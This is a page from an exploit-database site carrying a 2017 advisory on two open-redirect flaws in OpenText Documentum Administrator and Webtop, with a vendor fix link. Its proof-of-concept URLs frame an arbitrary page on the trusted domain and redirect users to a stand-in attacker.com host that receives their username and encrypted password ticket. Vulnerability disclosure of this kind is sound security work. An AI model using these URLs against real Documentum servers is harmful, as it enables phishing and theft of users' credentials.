0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
OpenText Documentum Administrator / Webtop Open Redirection Vulnerability
Author
Risk
[Security Risk Low
]0day-ID
Category
Date add
CVE
Platform
Title: OpenText Documentum Administrator and Webtop - Open Redirection
Author: Jakub Palaczynski
Date: 24. September 2017
CVE (Administrator): CVE-2017-14524
CVE (Webtop): CVE-2017-14525
Affected software:
==================
Documentum Administrator
Documentum Webtop
Exploit was tested on:
======================
Documentum Administrator version 7.2.0180.0055
Documentum Webtop version 6.8.0160.0073
Other versions may also be vulnerable.
Open Redirection - 2 instances:
========================
Please note that examples below are for Documentum Administrator, but
the same exploitation takes place in Webtop.
1. First instance:
It is possible to frame custom/malicious website on a trusted domain.
This way an attacker may for example steal credentials via creating
fake login form or redirect users to a malicious website.
Proof of Concept:
https://DOCUMENTUM/xda/help/en/default.htm?startat=//127.0.0.1/custom.html
2. Second instance:
It is possible to redirect user to custom website. Besides redirection
it also allows for stealing sensitive data - before redirection takes
place application appends username and base64 encoded user's encrypted
password ("ticket" parameter).
Proof of Concept:
Please note that PoC below works only in Internet Explorer browser as
only this browser treats /%09/ as //, which makes redirection work.
https://DOCUMENTUM/xda/component/virtuallinkconnect?redirectUrl=%2F%09%2Fattacker.com%2F&virtualLinkPath=%2F
Fix:
===
https://knowledge.opentext.com/knowledge/llisapi.dll/Open/68982774
# 0day.today [2024-11-15] #